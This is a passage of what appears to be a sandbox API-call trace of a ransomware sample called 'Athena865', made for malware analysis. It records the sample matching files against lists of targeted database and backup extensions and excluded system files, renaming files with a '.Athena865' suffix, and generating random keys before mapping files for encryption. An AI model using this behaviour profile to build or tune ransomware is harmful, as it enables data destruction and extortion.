lpString2="abx") returned 1 [0095.208] lstrlenW (lpString="accdb") returned 5 [0095.208] lstrcmpiW (lpString1="l.dll", lpString2="accdb") returned 1 [0095.208] lstrlenW (lpString="accdc") returned 5 [0095.208] lstrcmpiW (lpString1="l.dll", lpString2="accdc") returned 1 [0095.208] lstrlenW (lpString="accde") returned 5 [0095.208] lstrcmpiW (lpString1="l.dll", lpString2="accde") returned 1 [0095.208] lstrlenW (lpString="accdr") returned 5 [0095.208] lstrcmpiW (lpString1="l.dll", lpString2="accdr") returned 1 [0095.208] lstrlenW (lpString="accdt") returned 5 [0095.208] lstrcmpiW (lpString1="l.dll", lpString2="accdt") returned 1 [0095.208] lstrlenW (lpString="accdw") returned 5 [0095.208] lstrcmpiW (lpString1="l.dll", lpString2="accdw") returned 1 [0095.208] lstrlenW (lpString="accft") returned 5 [0095.208] lstrcmpiW (lpString1="l.dll", lpString2="accft") returned 1 [0095.208] lstrlenW (lpString="adb") returned 3 [0095.208] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.208] lstrlenW (lpString="adb") returned 3 [0095.208] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0095.208] lstrlenW (lpString="ade") returned 3 [0095.208] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0095.208] lstrlenW (lpString="adf") returned 3 [0095.208] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0095.208] lstrlenW (lpString="adn") returned 3 [0095.208] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0095.209] lstrlenW (lpString="adp") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0095.209] lstrlenW (lpString="alf") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0095.209] lstrlenW (lpString="ask") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0095.209] lstrlenW (lpString="btr") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0095.209] lstrlenW (lpString="cat") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0095.209] lstrlenW (lpString="cdb") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0095.209] lstrlenW (lpString="ckp") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0095.209] lstrlenW (lpString="cma") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0095.209] lstrlenW (lpString="cpd") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0095.209] lstrlenW (lpString="dacpac") returned 6 [0095.209] lstrcmpiW (lpString1="ml.dll", lpString2="dacpac") returned 1 [0095.209] lstrlenW (lpString="dad") returned 3 [0095.209] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0095.209] lstrlenW (lpString="dadiagrams") returned 10 [0095.209] lstrcmpiW (lpString1="mshtml.dll", lpString2="dadiagrams") returned 1 [0095.209] lstrlenW (lpString="daschema") returned 8 [0095.209] lstrcmpiW (lpString1="html.dll", lpString2="daschema") returned 1 [0095.209] lstrlenW (lpString="db-journal") returned 10 [0095.209] lstrcmpiW (lpString1="mshtml.dll", lpString2="db-journal") returned 1 [0095.210] lstrlenW (lpString="db-shm") returned 6 [0095.210] lstrcmpiW (lpString1="ml.dll", lpString2="db-shm") returned 1 [0095.210] lstrlenW (lpString="db-wal") returned 6 [0095.210] lstrcmpiW (lpString1="ml.dll", lpString2="db-wal") returned 1 [0095.210] lstrlenW (lpString="dbc") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0095.210] lstrlenW (lpString="dbs") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0095.210] lstrlenW (lpString="dbt") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0095.210] lstrlenW (lpString="dbv") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0095.210] lstrlenW (lpString="dbx") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0095.210] lstrlenW (lpString="dcb") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0095.210] lstrlenW (lpString="dct") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0095.210] lstrlenW (lpString="dcx") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0095.210] lstrlenW (lpString="ddl") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0095.210] lstrlenW (lpString="dlis") returned 4 [0095.210] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0095.210] lstrlenW (lpString="dp1") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0095.210] lstrlenW (lpString="dqy") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0095.210] lstrlenW (lpString="dsk") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0095.210] lstrlenW (lpString="dsn") returned 3 [0095.210] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0095.211] lstrlenW (lpString="dtsx") returned 4 [0095.211] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0095.211] lstrlenW (lpString="dxl") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0095.211] lstrlenW (lpString="eco") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0095.211] lstrlenW (lpString="ecx") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0095.211] lstrlenW (lpString="edb") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0095.211] lstrlenW (lpString="epim") returned 4 [0095.211] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0095.211] lstrlenW (lpString="fcd") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0095.211] lstrlenW (lpString="fdb") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0095.211] lstrlenW (lpString="fic") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0095.211] lstrlenW (lpString="flexolibrary") returned 12 [0095.211] lstrcmpiW (lpString1="t.mshtml.dll", lpString2="flexolibrary") returned 1 [0095.211] lstrlenW (lpString="fm5") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0095.211] lstrlenW (lpString="fmp") returned 3 [0095.211] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0095.211] lstrlenW (lpString="fmp12") returned 5 [0095.211] lstrcmpiW (lpString1="l.dll", lpString2="fmp12") returned 1 [0095.211] lstrlenW (lpString="fmpsl") returned 5 [0095.211] lstrcmpiW (lpString1="l.dll", lpString2="fmpsl") returned 1 [0095.211] lstrlenW (lpString="fol") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0095.212] lstrlenW (lpString="fp3") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0095.212] lstrlenW (lpString="fp4") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0095.212] lstrlenW (lpString="fp5") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0095.212] lstrlenW (lpString="fp7") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0095.212] lstrlenW (lpString="fpt") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0095.212] lstrlenW (lpString="frm") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0095.212] lstrlenW (lpString="gdb") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.212] lstrlenW (lpString="gdb") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0095.212] lstrlenW (lpString="grdb") returned 4 [0095.212] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0095.212] lstrlenW (lpString="gwi") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0095.212] lstrlenW (lpString="hdb") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0095.212] lstrlenW (lpString="his") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0095.212] lstrlenW (lpString="ib") returned 2 [0095.212] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0095.212] lstrlenW (lpString="idb") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0095.212] lstrlenW (lpString="ihx") returned 3 [0095.212] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0095.212] lstrlenW (lpString="itdb") returned 4 [0095.213] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0095.213] lstrlenW (lpString="itw") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0095.213] lstrlenW (lpString="jet") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0095.213] lstrlenW (lpString="jtx") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0095.213] lstrlenW (lpString="kdb") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0095.213] lstrlenW (lpString="kexi") returned 4 [0095.213] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0095.213] lstrlenW (lpString="kexic") returned 5 [0095.213] lstrcmpiW (lpString1="l.dll", lpString2="kexic") returned 1 [0095.213] lstrlenW (lpString="kexis") returned 5 [0095.213] lstrcmpiW (lpString1="l.dll", lpString2="kexis") returned 1 [0095.213] lstrlenW (lpString="lgc") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0095.213] lstrlenW (lpString="lwx") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0095.213] lstrlenW (lpString="maf") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0095.213] lstrlenW (lpString="maq") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0095.213] lstrlenW (lpString="mar") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0095.213] lstrlenW (lpString="marshal") returned 7 [0095.213] lstrcmpiW (lpString1="tml.dll", lpString2="marshal") returned 1 [0095.213] lstrlenW (lpString="mas") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0095.213] lstrlenW (lpString="mav") returned 3 [0095.213] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0095.213] lstrlenW (lpString="maw") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0095.214] lstrlenW (lpString="mdbhtml") returned 7 [0095.214] lstrcmpiW (lpString1="tml.dll", lpString2="mdbhtml") returned 1 [0095.214] lstrlenW (lpString="mdn") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0095.214] lstrlenW (lpString="mdt") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0095.214] lstrlenW (lpString="mfd") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0095.214] lstrlenW (lpString="mpd") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0095.214] lstrlenW (lpString="mrg") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0095.214] lstrlenW (lpString="mud") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0095.214] lstrlenW (lpString="mwb") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0095.214] lstrlenW (lpString="myd") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0095.214] lstrlenW (lpString="ndf") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0095.214] lstrlenW (lpString="nnt") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0095.214] lstrlenW (lpString="nrmlib") returned 6 [0095.214] lstrcmpiW (lpString1="ml.dll", lpString2="nrmlib") returned -1 [0095.214] lstrlenW (lpString="ns2") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0095.214] lstrlenW (lpString="ns3") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0095.214] lstrlenW (lpString="ns4") returned 3 [0095.214] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0095.215] lstrlenW (lpString="nsf") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0095.215] lstrlenW (lpString="nv") returned 2 [0095.215] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0095.215] lstrlenW (lpString="nv2") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0095.215] lstrlenW (lpString="nwdb") returned 4 [0095.215] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0095.215] lstrlenW (lpString="nyf") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0095.215] lstrlenW (lpString="odb") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.215] lstrlenW (lpString="odb") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0095.215] lstrlenW (lpString="oqy") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0095.215] lstrlenW (lpString="ora") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0095.215] lstrlenW (lpString="orx") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0095.215] lstrlenW (lpString="owc") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0095.215] lstrlenW (lpString="p96") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0095.215] lstrlenW (lpString="p97") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0095.215] lstrlenW (lpString="pan") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0095.215] lstrlenW (lpString="pdb") returned 3 [0095.215] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0095.216] lstrlenW (lpString="pdm") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0095.216] lstrlenW (lpString="pnz") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0095.216] lstrlenW (lpString="qry") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0095.216] lstrlenW (lpString="qvd") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0095.216] lstrlenW (lpString="rbf") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0095.216] lstrlenW (lpString="rctd") returned 4 [0095.216] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0095.216] lstrlenW (lpString="rod") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0095.216] lstrlenW (lpString="rodx") returned 4 [0095.216] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0095.216] lstrlenW (lpString="rpd") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0095.216] lstrlenW (lpString="rsd") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0095.216] lstrlenW (lpString="sas7bdat") returned 8 [0095.216] lstrcmpiW (lpString1="html.dll", lpString2="sas7bdat") returned -1 [0095.216] lstrlenW (lpString="sbf") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0095.216] lstrlenW (lpString="scx") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0095.216] lstrlenW (lpString="sdb") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0095.216] lstrlenW (lpString="sdc") returned 3 [0095.216] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0095.216] lstrlenW (lpString="sdf") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0095.217] lstrlenW (lpString="sis") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0095.217] lstrlenW (lpString="spq") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0095.217] lstrlenW (lpString="te") returned 2 [0095.217] lstrcmpiW (lpString1="ll", lpString2="te") returned -1 [0095.217] lstrlenW (lpString="teacher") returned 7 [0095.217] lstrcmpiW (lpString1="tml.dll", lpString2="teacher") returned 1 [0095.217] lstrlenW (lpString="tmd") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0095.217] lstrlenW (lpString="tps") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0095.217] lstrlenW (lpString="trc") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.217] lstrlenW (lpString="trc") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0095.217] lstrlenW (lpString="trm") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0095.217] lstrlenW (lpString="udb") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0095.217] lstrlenW (lpString="udl") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0095.217] lstrlenW (lpString="usr") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0095.217] lstrlenW (lpString="v12") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0095.217] lstrlenW (lpString="vis") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0095.217] lstrlenW (lpString="vpd") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0095.217] lstrlenW (lpString="vvv") returned 3 [0095.217] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0095.218] lstrlenW (lpString="wdb") returned 3 [0095.218] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0095.218] lstrlenW (lpString="wmdb") returned 4 [0095.218] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0095.218] lstrlenW (lpString="wrk") returned 3 [0095.218] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0095.218] lstrlenW (lpString="xdb") returned 3 [0095.218] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0095.218] lstrlenW (lpString="xld") returned 3 [0095.218] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0095.218] lstrlenW (lpString="xmlff") returned 5 [0095.218] lstrcmpiW (lpString1="l.dll", lpString2="xmlff") returned -1 [0095.218] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll.Athena865") returned 94 [0095.218] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.mshtml.dll"), lpNewFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.mshtml.dll.athena865"), dwFlags=0x1) returned 1 [0095.219] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft.NET\\Primary Interop Assemblies\\Microsoft.mshtml.dll.Athena865" (normalized: "c:\\program files (x86)\\microsoft.net\\primary interop assemblies\\microsoft.mshtml.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0095.219] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=8007680) returned 1 [0095.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0095.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d408 [0095.219] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0095.219] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518a30) returned 1 [0095.220] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0095.220] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.220] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7a3300, lpName=0x0) returned 0x154 [0095.222] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x600000, dwNumberOfBytesToMap=0x1a3300) returned 0x2d50000 [0095.300] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x200000) returned 0x3160000 [0095.446] UnmapViewOfFile (lpBaseAddress=0x3160000) returned 1 [0095.465] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518a30) returned 1 [0095.466] CryptGenRandom (in: hProv=0x518a30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0095.466] CryptReleaseContext (hProv=0x518a30, dwFlags=0x0) returned 1 [0095.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d390 [0095.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d390 | out: hHeap=0x4f0000) returned 1 [0095.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x520b60 [0095.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0095.466] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x520b60 | out: hHeap=0x4f0000) returned 1 [0095.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0095.466] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50bdf8 [0095.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0095.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50bdf8 | out: hHeap=0x4f0000) returned 1 [0095.467] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0095.467] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0095.481] CloseHandle (hObject=0x154) returned 1 [0095.481] CloseHandle (hObject=0x17c) returned 1 [0095.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d408 | out: hHeap=0x4f0000) returned 1 [0095.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0095.481] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0095.489] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8de7800, ftCreationTime.dwHighDateTime=0x1c2a173, ftLastAccessTime.dwLowDateTime=0x5253df30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe8de7800, ftLastWriteTime.dwHighDateTime=0x1c2a173, nFileSizeHigh=0x0, nFileSizeLow=0x3400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.stdformat.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".") returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="..") returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="windows") returned -1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="bootmgr") returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="temp") returned -1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="pagefile.sys") returned -1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="boot") returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="ids.txt") returned 1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="ntuser.dat") returned -1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="perflogs") returned -1 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2="MSBuild") returned -1 [0095.490] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0095.490] lstrcpyW (in: lpString1=0x241e8c8, lpString2="Microsoft.stdformat.dll" | out: lpString1="Microsoft.stdformat.dll") returned="Microsoft.stdformat.dll" [0095.490] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0095.490] lstrlenW (lpString="Athena865") returned 9 [0095.490] lstrcmpiW (lpString1="ormat.dll", lpString2="Athena865") returned 1 [0095.490] lstrlenW (lpString=".dll") returned 4 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".dll") returned 1 [0095.490] lstrlenW (lpString=".lnk") returned 4 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".lnk") returned 1 [0095.490] lstrlenW (lpString=".ini") returned 4 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".ini") returned 1 [0095.490] lstrlenW (lpString=".sys") returned 4 [0095.490] lstrcmpiW (lpString1="Microsoft.stdformat.dll", lpString2=".sys") returned 1 [0095.490] lstrlenW (lpString="Microsoft.stdformat.dll") returned 23 [0095.490] lstrlenW (lpString="bak") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0095.491] lstrlenW (lpString="ba_") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0095.491] lstrlenW (lpString="dbb") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0095.491] lstrlenW (lpString="vmdk") returned 4 [0095.491] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0095.491] lstrlenW (lpString="rar") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0095.491] lstrlenW (lpString="zip") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0095.491] lstrlenW (lpString="tgz") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0095.491] lstrlenW (lpString="vbox") returned 4 [0095.491] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0095.491] lstrlenW (lpString="vdi") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0095.491] lstrlenW (lpString="vhd") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0095.491] lstrlenW (lpString="vhdx") returned 4 [0095.491] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0095.491] lstrlenW (lpString="avhd") returned 4 [0095.491] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0095.491] lstrlenW (lpString="db") returned 2 [0095.491] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0095.491] lstrlenW (lpString="db2") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0095.491] lstrlenW (lpString="db3") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0095.491] lstrlenW (lpString="dbf") returned 3 [0095.491] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0095.492] lstrlenW (lpString="mdf") returned 3 [0095.492] lstrcmpiW 